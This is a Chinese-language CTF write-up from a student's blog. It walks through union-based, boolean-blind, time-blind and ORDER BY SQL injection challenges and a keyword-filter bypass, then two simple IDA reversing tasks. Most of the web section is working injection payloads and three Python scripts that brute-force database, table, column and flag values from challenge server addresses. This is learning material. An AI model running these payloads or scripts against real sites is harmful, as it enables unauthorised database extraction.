最近这段时间在内部平台上做了一些Web题,和最基础的Reverse签到题。虽说还有两道Reverse题没做出来,但还是先总结一下吧!
看题目提示,就知道这道题之前做过,不过当时没总结,现在总结一下。
题目的意思是注入。点开题目
发现输入id可以查信息,并且是get传参方式。
判断是否存在sql注入
判断方法在sqlilabs攻关总结中总结过。就不叙述了。这里我选用get单引号判断
输入?id=1显示正常
输入?id=1’显示错误,所以存在sql注入
并且有显示位,所以应该是SQL注入-联合查询注入。
前提
要用联合查询进行注入则:页面必须有显示位
显示位(查字段)
在一个网站的正常页面,服务器执行sql语句查询数据库中的数据,客户端将数据展示在页面中,这个暂时数据的位置就是显示位。
联合查询
union可合并两个或多个select语句的结果集,如:
select id,username,password from users where id=1 union select 1,2,3;
前提是两个select必有相同列、且各列的数据类型也相同
union注入条件
只有最后一个select子句允许有order by
只有最后一个select子句允许有limit
只要union连接的几个查询的字段数一样且列的数据类型转换没有问题,就可以查询出结果
注入点页面有回显
注入步骤
知识了解完毕,开始解题
1.判断是整型还是字符型
输入?id=1 and 1=1
输入?id=1 and 1=2
回显页面不同,说明是整型注入
2.判断查询列数
输入?id=1 order by 3 --+
显示正常
再次输入?id=1 order by 4 --+
显示错误
所以在?id=1查看的这个表有3列,即3个字段
3. 判断显示位
1、2、3处,即是显示位。
4. 获取所有数据库名
group_concat()一次性显示:
1 union select 1,2,group_concat(SCHEMA_NAME) from information_schema.SCHEMATA--+
1 union select 1,2,database()--+
1 union select 1,2,group_concat(TABLE_NAME) from information_schema.TABLES WHERE TABLE_SCHEMA=database() --+
1 union select 1,2,group_concat(COLUMN_NAME) from information_schema.COLUMNS WHERE TABLE_SCHEMA=database() and TABLE_NAME='users' --+
1 union select 1,2,group_concat(username) from users --+
"BASE-Blind-Inject"意思是“基础盲注”。盲注知识之前我已经总结过,所以直接做题
打开题目,发现是登录框。想到SQL的简单注入,试一下闭合方式,最后发现是双引号闭合
payload
" or 1=1#
flag在数据库?!并且输错回显不同,再结合题目“基础盲注”,所以很明显是布尔盲注,并且是POST型的。
所以开始构造针对此题的布尔盲注pyload
盲注方法:
1.爆库
猜库长
payload
" or (length(database())=10)--+正常
所以数据库长度为10
猜库名
payload
" or (ascii(substr(database(),1,1))=n)--+
手工测试第一个字符
第一个字符ascii码为99,即字符“c”
一直尝试,直到字符全部猜出。
要注意如果第二个变量选择的是字符字典,payload写成如下形式:
" or (substr(database(),1,1)='a')--+
length为498的即为正常回显的,(上面等进度条满格则爆破结束,我没有爆破完)将得到的正常回显的Payload2根据Payload1进行排序,即为数据库名。数据库名为chellenges
2.爆表
猜表长
payload
" or (length((select table_name from information_schema.tables where table_schema=database() limit 0,1))=6)--+正常
所以数据表长度为6
猜表名
payload
" or (ascii(substr((select table_name from information_schema.tables where table_schema=database() limit 0,1),1,1))=n)--+
沿用爆库的方法,最终得到表名user_2
3.爆字段
猜字段长
payload
" or (length((select column_name from information_schema.columns where table_name='user_2' and table_schema=database() limit 0,1))=2)--+正常
" or (length((select column_name from information_schema.columns where table_name='user_2' and table_schema=database() limit 1,1))=8)--+正常
" or (length((select column_name from information_schema.columns where table_name='user_2' and table_schema=database() limit 2,1))=8)--+正常
所以数据字段长度分别为2、8、8
猜字段名
payload
" or (ascii(substr((select column_name from information_schema.columns where table_name='user_2' and table_schema=database() limit 0,1),1,1))=n)--+
沿用爆库的方法,最终得到三个字段名id
username
password
4.爆数据
猜数据长
" or (length((select password from challenges.user_2 limit 1,1))=32)--+正常
所以数据长度为32,这个应该就是flag那条数据了
猜数据名
" or (ascii(substr((select password from challenges.user_2 limit 1,1),1,1))=n)--+
沿用爆库的方法,最终得到数据flag
这里有一个我参照大佬博客写好的脚本(我太菜,不会写二分法猜长度的那个脚本)
import requests
chars='abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789_,;{}&=+'
postdata={
'username':'" or 1=1#',
'password':'admin'
}
url="http://35.201.188.231:9000/challenge-02/post.php"
r=requests.post(url,data=postdata)
length=len(r.text)
def name(url,length):
dbname=''
print("数据库名:",dbname)
payload='" or ascii(substr(database(),{0},1))={1} #'
#print("数据表名:",dbname)
#payload='"or ascii(substr((select table_name from information_schema.tables where table_schema=database() limit 0,1),{0},1))={1}#'
#print("字段名:",dbname)
#payload='"or ascii(substr((select column_name from information_schema.columns where table_name='user_2' and table_schema=database() limit 1,1),{0},1))={1}#'
#print("数据:",dbname)
#payload='" or ascii(substr((select password from user_2 limit 1,1),{0},1))={1}#'
for i in range(1,40):
char=''
for x in chars:
char_ascii=ord(x)
payloads=payload.format(i,char_ascii)
postdata={
'username':payloads,
'password':'admin'
}
r=requests.post(url,data=postdata)
if len(r.text) == length:
dbname+=x
print(dbname)
char=x
break
if char=='':
break
return dbname
name(url,length)
题目意思是时间盲注,所以很显然这道题是时间盲注。时间盲注正常和不正常回显结果相同,所以进入题目,还是登录框,先不测试。查看源码
给了题目源码,url框输入www.zip下载源码,或如下
解压,查看
发现sql查询语句的闭合方式,所以构造闭合方式为'"
当然时间盲注也有三种方法:
与布尔盲注相比,因为正常和不正常返回相同,所以采用sleep()函数延迟时间来判断是否正常。
1.爆库
猜库长
'" or if(length(database())=10,sleep(5),1)--+延迟五秒
所以数据库长度为10
猜库名
'" or if((ascii(substr(database(),1,1))=n),sleep(5),1)--+
手工测试第一个字符
第一个字符ascii码为98时,无延迟;第一个字符ascii码为99时,延迟5秒。所以第一个字符为99,即字符“c”
要注意如果第二个变量选择的是字符字典,大小写识别有点问题,不过因为字典较快,所以依旧用的字典,然后再判断大小写。payload写成如下形式:
'" or if((substr(database(),1,1)='a'),sleep(5),1)--+
和布尔盲注一样选择设置变量,选择变量范围。开始爆破,双击Timeout下的四方块
正常的
延迟的
找到所有延迟的,然后进行排序即可得到数据库名。最后得到数据库名为chellenges
2.爆表
猜表长
'" or if(length((select table_name from information_schema.tables where table_schema=database() limit 0,1))=6),sleep(5),1)--+延迟5秒
所以数据表长度为6
猜表名
'" or if((ascii(substr((select table_name from information_schema.tables where table_schema=database() limit 0,1),1,1))=n),sleep(5),1)--+
沿用爆库的方法,最终得到表名user_3
3.爆字段
猜字段长
'\" or if((length((select column_name from information_schema.columns where table_name="user_3" and table_schema=database() limit 0,1))=2),sleep(5),1)--+延迟5秒
'\" or if((length((select column_name from information_schema.columns where table_name="user_3" and table_schema=database() limit 1,1))=8),sleep(5),1)--+延迟5秒
'\" or if((length((select column_name from information_schema.columns where table_name="user_3" and table_schema=database() limit 2,1))=8),sleep(5),1)--+延迟5秒
所以数据字段长度分别为2、8、8
猜字段名
'\" or if((ascii(substr((select column_name from information_schema.columns where table_name="user_3" and table_schema=database() limit 0,1),1,1))=n),sleep(5),1)--+
沿用爆库的方法,最终得到三个字段名id
username
password
4.爆数据
猜数据长
" or if((length((select password from challenges.user_3 limit 1,1))=25),sleep(5),1)--+延迟5秒
所以数据长度为25,这个应该就是flag那条数据了
猜数据名
'" or if((ascii(substr((select password from challenges.user_3 limit 1,1),1,1))=n),1,sleep(5))--+
沿用爆库的方法,最终得到数据flag
这里有一个我修改布尔盲注得到的时间盲注脚本
import requests
import time
import string
import sys
chars='abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789_,;{}&=+'
url="http://35.201.188.231:9000/challenge-02/post.php"
dbname=''
payload="'\" or if((ascii(substr(database(),{0},1))={1}),sleep(5),1) #"
print("数据库名:",dbname)
#payload="'\"or if((ascii(substr((select table_name from information_schema.tables where table_schema=database() limit 0,1),{0},1))={1}),sleep(5),1) #"
#print("数据表名:",dbname)
#payload="'\"or if((ascii(substr((select column_name from information_schema.columns where table_schema=database() and table_name="user_3" limit 1,1),{0},1))={1}),sleep(5),1) #"
#print("字段名:",dbname)
#payload="'\" or if((ascii(substr((select password from user_3 limit 1,1),{0},1))={1}),sleep(5),1) #"
#print("数据:",dbname)
for i in range(1,40):
char=''
for x in chars:
char_ascii=ord(x)
payloads=payload.format(i,char_ascii)
start=time.time()
postdata={
'username':payloads,
'password':'admin'
}
r=requests.post(url,data=postdata)
if (time.time() - start)>=5:
dbname+=x
print(dbname)
char=x
break
if char=='':
break
根据和查看题目,与Web1相比就多加了个waf。通过preg_replace()函数执行一个正则表达式的搜索和替换。
由题目可知,过滤了or|and|select|union|from
,所以要进行WAF绕过
参考博客:SQL注入WAF绕过姿势
这道题我采用的双写绕过
1.爆库
2.爆表
3.爆字段
4.爆数据
得到flag。
order by?!我只知道查列数有用到order by。先看看老学长给的tips
先百度一下order by
ORDER BY 关键字
Order by排序注入方法小总结
MySQL Order By 注入总结
了解完毕。这是order by排序注入,如下order参数可控:
select * from goods order by $_GET['order']
而题目tips刚好符合:
select * from 一个不是flag的表 order by id {$order}
我选择利用报错返回多条记录的方式进行注入,先进行测试
post传参
order=and if(1=1,1,(select 1 from information_schema.tables))正确
order=and if(1=2,1,(select 1 from information_schema.tables))错误
所以构造payload开始报错盲注
1.爆库
payload
and if(ascii(substr(database(),1,1))=n,1,(select 1 from information_schema.tables))
2.爆表
payload
and if(ascii(substr((select table_name from information_schema.tables where table_schema=database() limit 0,1),1,1))=n,1,(select 1 from information_schema.tables))
3.爆字段
payload
and if(ascii(substr((select column_name from information_schema.columns where table_name='cha1users' and table_schema='cha1DB' limit 3,1),1,1))=n,1,(select 1 from information_schema.tables))
4.爆数据
payload
and if(ascii(substr((select flag from cha1users limit 1,1),1,1))=n,1,(select 1 from information_schema.tables))
除payload不同外,方法沿用布尔盲注。这有一个我改好的脚本:
import requests
chars='abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789_,;{}&=+!@%^*$()[]:".#'
postdata={
'order':',if(1=1,1,(select 1 from information_schema.tables))'
}
url="http://39.106.19.10/orderby/"
r=requests.post(url,data=postdata)
length=len(r.text)
def name(url,length):
dbname=''
payload='and if(ascii(substr(database(),{0},1))={1},1,(select 1 from information_schema.tables))'
print("数据库为:",dbname)
#payload='and if(ascii(substr((select table_name from information_schema.tables where table_schema=database() limit 0,1),{0},1))={1},1,(select 1 from information_schema.tables))'
#print("数据表为:",dbname)
#payload="and if(ascii(substr((select column_name from information_schema.columns where table_name='cha1users' and table_schema='cha1DB' limit 3,1),{0},1))={1},1,(select 1 from information_schema.tables))"
#print("字段为:",dbname)
#payload="and if(ascii(substr((select flag from cha1users limit 1,1),{0},1))={1},1,(select 1 from information_schema.tables))"
#print("数据:",dbname)
for i in range(1,40):
char=''
for x in chars:
char_ascii=ord(x)
payloads=payload.format(i,char_ascii)
postdata={
'order':payloads
}
r=requests.post(url,data=postdata)
if len(r.text) == length:
dbname+=x
print(dbname)
char=x
break
if char=='':
break
return dbname
name(url,length)
就是一个很简单的签到题,赢了就有flag?!所以用IDA打开,选择
打开得到flag
提示的很明显(之前好像没提示有莫名奇妙的数字),下载题目用IDA打开,F5反编译一下
发现一串奇怪的数字,按照v4-v23对下面的数字进行排序,然后转换成ASCII(之前我不知道可以用r键转,所以用的在线平台)
得到flag。
总结之后对联合查询和盲注有了更加清醒的认识,同时会脚本的编写和改写也特别重要。
继续努力,小白进阶ing